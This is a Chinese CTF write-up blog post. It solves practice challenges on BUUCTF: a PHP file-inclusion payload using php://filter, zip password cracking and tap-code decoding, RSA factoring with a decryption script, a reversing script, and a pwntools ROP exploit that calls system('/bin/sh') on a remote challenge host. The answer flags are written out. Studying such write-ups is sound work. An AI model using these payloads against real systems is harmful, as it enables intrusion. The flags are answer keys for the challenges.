寒假1.24

题解

web:[ACTF2020 新生赛]Include

参考:BUUCTF--[ACTF2020 新生赛]Include-优快云博客

打开环境,有一个tips

点击后

 查看源代码,什么也没发现

这是我们可以注意到url后面有这个

file参数是直接传递给客户端的,服务端可以根据这个参数加载对应的文件,并将其包含在页面中

由上可以推测这里存在文件包含漏洞
猜测flag就在flag.php源代码中

思路:通过PHP伪协议来查看flag.php的源代码

payload1:

?file=php://filter/convert.base64-encode/resource=flag.php

成功注入

base64解码后得到源代码,可得到flag

<?php
echo "Can you find out the flag?";
//flag{b30f158d-a5f3-4fae-9948-47b78089c9c7}

payload2 :

使用iconv函数完成各种字符集间的转换

/?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php

 可直接得到flag

补充:

misc:[SWPU2019]你有没有好好看网课?

下载附件,发现要进一步解压需要密码

拖进010里看看是不是伪加密,结果不是

查看压缩包时发现一个提示

选择纯数字,6的密码长度进行破解

 得到密码

打开doc文档,发现后面有一个红色波浪,上面应该有文字才对,选中所有文字更改一下文字颜色,没用,但是520和711两个数字还是比较显眼的

 另外一个文件略显抽象……

分别截取其5.2秒和7.11秒的视频截图,在吊灯上有字(纯手工抓取,眼睛都抓瞎了),这里可以使用工具kinovea逐帧观察

..... ../... ./... ./... ../

dXBfdXBfdXA=

第一个是一个敲击码,可以手敲(先竖后横)也可以用随波逐流解码解码后为 52/31/31/32,也就是WLLM

第二个base64解码后是up_up_up

拼接起来,全部小写,就是flag2.zip文件的解压密码

wllmup_up_up

解压后得到一个图片

直接用记事本打开,CTRL+f搜索,flag不行,我搜了{,找到了

crypto:buuctfRSA

下载附件

第一个文件扩展名是.enc,但是用wireshark无法正常打开,两个都使用记事本打开

 将pub.key中的内容进行公钥解析,得到n和e

n=86934482296048119190666062003494800588905656017203025617216654058378322103517

e=65537

大数分解得到

p = 285960468890451637935629440372639283459,
q = 304008741604601924494328155975272418463 

那就是已知e,p,q的类型

脚本:

import gmpy2
import rsa

e = 65537
p = 285960468890451637935629440372639283459
q = 304008741604601924494328155975272418463

phi_n = (p-1)*(q-1)
d = gmpy2.invert(e, phi_n)
key = rsa.PrivateKey(p*q, e, d, p, q)

with open("flag.txt", 'rb') as file:  # 以二进制读模式,读取密文
    file = file.read()
    print(rsa.decrypt(file, key))  # file:公钥加密结果  key:私钥

运行脚本

reverse:[WUSTCTF2020]level1

下载附件,exeinfope打开,.elf文件,无壳64位

ida64打开,查看主函数,大概意思就是将flag的前二十个字节存储到ptr中。然后遍历这个数组的索引1~19(也就是第二个到第二十个元素),当索引是奇数时,将第i个左移i位,偶数时,则输出i

脚本逆着写回去即可

if __name__ == '__main__':
    a=[198,232,816,200,1536,300,6144,984,51200,570,92160,1200,565248,756,1474560,800,6291456,1782,65536000]
    # print(a)
    b=[]
    for i in range(1,20):
        if((i)&1):
            print(chr(int(a[i-1]>>i)),end="")
        else:
            print(chr(int(a[i-1]/i)),end="")

    # print(b)

 pwn:[HarekazeCTF2019]baby_rop

下载附件,用exeinfope打开,.elf文件,64位无壳

ida64打开,查看主函数,有system函数,又有,应该是栈溢出漏洞

双击查看system函数

 shift+F12查看字符串找到了/bin/sh

 思路:利用栈溢出覆盖返回地址位system@PLT,传入system()的参数/bin/sh,getshell

exp:

# python3.11.6
from pwn import *

binname = 'babyrop'
context(arch='amd64', os='linux', log_level='debug')

# io = process(binname)
io = remote('node5.buuoj.cn',25856)

system_addr = 0x0000000000400490
binsh_addr = 0x0000000000601048
poprdi_addr = 0x0000000000400683

payload = b'a'*0x10 + b'b'*8 + p64(poprdi_addr) + p64(binsh_addr) + p64(system_addr)
io.recv()
io.sendline(payload)
io.interactive()

直接cat flag没有文件,说明flag不在根目录下

 用find -name flag指令找到flag的位置

进入目录

查找flag

知识点

web:

文件包含漏洞

之前写过一次的笔记:学习笔记_文件包含漏洞-优快云博客

本质:类似于SQL注入漏洞,输入一段能够控制的脚本或者代码,并且让服务器执行

常见文件包含函数

1、include
2、require
3、include_once
4、require_once
5、highlight_file
6、show_source
7、flie
8、readfile
9、file_get_contents
10、file_put_contents
11、fopen

php://filter

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值